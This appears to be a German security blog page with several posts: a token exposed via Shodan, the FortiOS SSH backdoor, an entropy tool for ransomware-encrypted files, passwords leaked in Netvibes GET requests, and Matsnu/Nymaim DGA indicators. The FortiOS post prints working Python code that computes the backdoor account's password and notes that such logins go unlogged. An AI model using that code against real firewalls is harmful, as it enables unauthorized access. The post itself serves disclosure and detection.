Wenn übermässige Sicherheit zu Unsicherheit führt

Jede Person hat ihr gewisses Mass an Sicherheit, die sie erdulden kann, bis das Fass überläuft und eine Wirkung meist in die Gegenrichtung einsetzt. Die Benutzer erdulden Sicherheitsvorkehrungen und Mechanismen inklusive der Einschnitte in ihr Arbeits- und Privatleben, bis zu einer gewissen Schwelle und danach setzt die Kreativität ein und es wir um jeden Preis versucht, die Vorkehrungen zu umgehen, selbst wenn man dafür die Tür für noch viel grössere Risiken öffnet. Für alle Security Professionals ist es immer sehr schwierig sich knapp unter dieser Grenze zu bewegen, da diese für alle Personen unterschiedlich hoch oder tief liegt.

Ein sehr gutes Beispiel dazu, auf welches ich vor kurzem aufmerksam gemacht wurde, kommt von Shodan:

token

Hätte man ein simples Passwort gewählt, so wäre der User nie auf die Idee gekommen, dies vor eine Webcam zu kleben, damit er immer darauf zugreifen kann, sondern hätte es sich dieses im Idealfall einfach gemerkt. Vielleicht auch ein Handy-Token hätte bereits ausgereicht…

Doch ein Hardware-Token, verpackt in einem zusätzlichen Gerät, der sich noch alle paar Sekunden ändert, ging dann doch zu weit und kurzerhand wird der Token samt sehr wahrscheinlich der User-ID frisch fröhlich und für jeden zugänglich im Internet publiziert…

FortiOS SSH Backdoor ignoriert interne Sicherheitsfeatures

Hoffentlich haben mittlerweile alle Administratoren und Security Professionals von der SSH Backdoor in FortiOS gehört und auch bereits erste Sofortmassnahmen umgesetzt, denn die konkret am 09. Januar 2016 veröffentlichte Lücke ist Forti bereits seit über einem Jahr bekannt und wird wohl oder übel auch bereits solange in der freien Wildbahn ausgenutzt…

fulldisc

Doch wieso genau ist die Backdoor erst jetzt aufgetaucht? Ein ganzes Jahr ist ja eine ganz schön lange Zeitspanne ohne das ein Admin, IDS, SIEM oder ähnliches ein verdächtiges Verhalten entdeckt…

Der Grund, wieso wohl noch niemand etwas gemerkt hat, liegt in der internen Logging-Funktion! Konkret habe ich versucht, die Verwendung der Backdoor auf meinen Systemen im SIEM abzubilden und habe somit konkret die generierten Logs während dem Login ausgewertet und eine spannende Entdeckung gemacht:

Ein normales Login via SSH bricht in der Regel nach 3-5 Versuchen ab. Zusätzlich wird ein entsprechendes Log über ein failed Login geschrieben und je nach Einstellung der Benutzer sogar für X Minuten geblockt. Und wie sieht es aus, sobald der User „Fortimanager_Access“ verwendet wird? Weder Logs, noch ein Disconnect, noch ein Blockieren finden statt – jegliche Sicherheitsfeatures werden klang heimlich umgangen! Und da stell ich mir schon die Frage nach dem wieso? Selbst wenn sich jemand über den FortiManager Zugriff auf eine Firewall verschafft, selbst wenn dies ein gültiger Zugriff von einem Admin ist, so will ich dies doch geloggt haben. Also wo ist der Sinn, solche Verbindungen zu verstecken?

Wer das Szenario konkret testen will, der kann eine normale SSH Verbindung zu (s)einer Fortigate aufbauen und den Benutzer „Fortimanager_Access“ eintippen.

forti

Anstelle das hier nun ein normales Passwort angefragt wird, bekommt der User eine Zahlenfolge präsentiert, welche nach folgender Funktion zum effektiven Passwort verrechnet werden kann:

import base64
import hashlib

def calculate(key):
    n = key
    m = hashlib.sha1()
    m.update('\x00' * 12)
    m.update(n + 'FGTAbc11*xy+Qqz27')
    m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
    h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
    return [h]

Wir eine Version nach 5.0.7 verwendet, so wird der Benutzer als gesperrter User angesehen und die Verbindung wird per sofort getrennt. Einen entsprechenden Log-Eintrag gibt es noch immer nicht!

Erkennen von Schwachstellen in verschlüsselten Daten

Dank einem entsprechenden Posting von SANS habe ich mir mal wieder ein paar Gedanken gemacht über die Thematik und den Einsatz von Entropy, also der Zeichendichte von einem String, einem Text oder einer gesamten Applikation.

Obwohl die Einsatzgebiete eigentlich recht umfassend sind, habe ich die Entropy eigentlich bisher nur zur Analyse von modifizierten Files unter Windows eingesetzt, wie in meinem Artikel über densityScout beschrieben. Doch eigentlich sind der Fantasie keine Grenzen gesetzt, da ich dank der Entropy eine einfache Anomaly-Detection auf jedem nur erdenklichen String durchführen kann, sei das nun ein Teil aus einem Text, ein Dateiname oder gar ein abgefragter DNS-Request.

Und so habe ich mir kurzerhand ein kleines Java-Tool genannt „entropyCalc“ geschrieben, womit ich genau die Problematik in dem SANS-Artikel angehen möchte: Ein verschlüsselter Text soll analysiert werden, ob er komplett verschlüsselt wurde, oder ob noch einzelne Textstellen unverschlüsselt erhalten sind:

A tool for dividing the input in X parts and calculating the entorpy of each. This can help analysing a file encrypted by a ransomware regarding its quality.

Call the prepared JAR passing the path of the file (path/to/file) and the number of parts (numb_of_parts) the file should be divided into. Optionally you can pass a max value for the entropy to display:

java -jar entorpyCalc.jar /path/to/file numb_of_parts [max_entorpy_val]

Zu finden gibts das ganze unter meinem GitHub-Account.

Wie die Beschreibung schon sagt, ist das Tool recht einfach gehalten: Ich kann ein File eingeben und die Anzahl an Parts bestimmen. Zusätzlich kann ich auch noch einen optionalen Filter setzen, damit mir nur Werte tiefer meiner gesetzten Marke angezeigt werden.

Wenn man damit nun das Test-File /res/test.bin mit initial 200 Parts analysiert, so interessiert mich vor allem mal die letzten 3 Zeilen mit der Zusammenfassung:

...
[039985 - 040188] 6.902040462088795
[040189 - 040392] 6.870033966927124
[040393 - 040596] 6.877924361409659
[040597 - 040800] 6.883538317427925
[040801 - 040943] 6.663231126927669

[Minimum] 4.425002256404638
[Maximum] 7.1385534526549055
[Average] 7.924522721343111

Da ich hier bereits grosse Abweichungen zwischen Minimum und Maximum sehe, weiss ich, dass da etwas noch in Echtform da sein muss. Also erhöhen wir einfach mal auf 1000 Parts und setzen 4.0 als die Obergrenze an Dichten für die angezeigten Parts:

[004161 - 004200] 2.885290338447572
[004201 - 004240] 0.9975846798245739
[004241 - 004280] 2.957351274437585
[004481 - 004520] 3.4607912955405005

[Minimum] 0.9975846798245739
[Maximum] 5.3219280948873635
[Average] 7.924522721343111

Und sofort ersichtlich wird, dass da garantiert noch etwas unverschlüsseltes drinstecken muss, denn eine Dichte von 0.99 ist sehr stark an einer normalen Sprache angelehnt. Weiter kann ich sehen, dass mein String irgendwo zwischen Zeichen 4161 und 4200 beginnen und zwischen Zeichen 4481 und 4520 enden muss, da hier auch noch eine tiefere Dichte erzielt wurde.

Was ich aktuell noch nicht bieten kann, ist eine Methodik zum Eingrenzen des genauen Strings, aber daran arbeite ich noch und vielleicht kommt mir ja die zündende Idee noch.

Passwörter als GET-Variable :: Danke Netvibes!

Gestern bin ich per Zufall bei der Registration über ein sehr spannendes Verhalten von Netvibes gestossen: Wer sich einen neuen Account registriert und dabei den Captcha falsch eintippt, der propagiert im gesamten Netz kurzerhand mal das von ihm gewählte Passwort, weil dieses als GET-Variable und somit für jeden lesbar übermittelt wird:

printscreen007

Ist im Netzwerk, von welchem man die Aktion ausgeführt hat, ein Tracking- oder Statistik-Tool, das einzelne Web-Requests aufzeichnet, so ist da nun für immer das benutzte Passwort verewigt, ganz einfach weil Netvbibes so fahrlässig ist und bei der Implementation dieser Funktion genau nichts überlegt hat!

Wieso konnte man das Passwort nicht einfach weglassen?
Und BTW: Euer Code funktioniert sowieso nicht sauber – meine Formularfelder sind nach dem Reload immer noch leer!

Neue DGA Domains für Matsnu / Nymaim aktiv

Seit Gestern 12.10.2015 sind zwei neue Domains aus dem DGA von Matsnu / Naymaim aktiviert worden und werden seither aktiv verwendet.
Wie üblich werden die Domains für neue Befehle oder Updates verwendet und sind nur ein bis zwei Tage gültig, bevor diese wieder ablaufen oder durch neue ersetzt werden:

printscreen001

Wer das ganze selbst prüfen möchte, der kann nach den folgenden IOC ausschau halten:

  • film-carpet-birth[.]com
  • beginninghang[.]com
  • 31.210.116[.]90
  • 24.97.2[.]82
  • 94.230.0[.]230

Alternativ sind die IOCs auch in meiner Liste auf Open Threat Exchange ergänzt.

« Older Entries Recent Entries »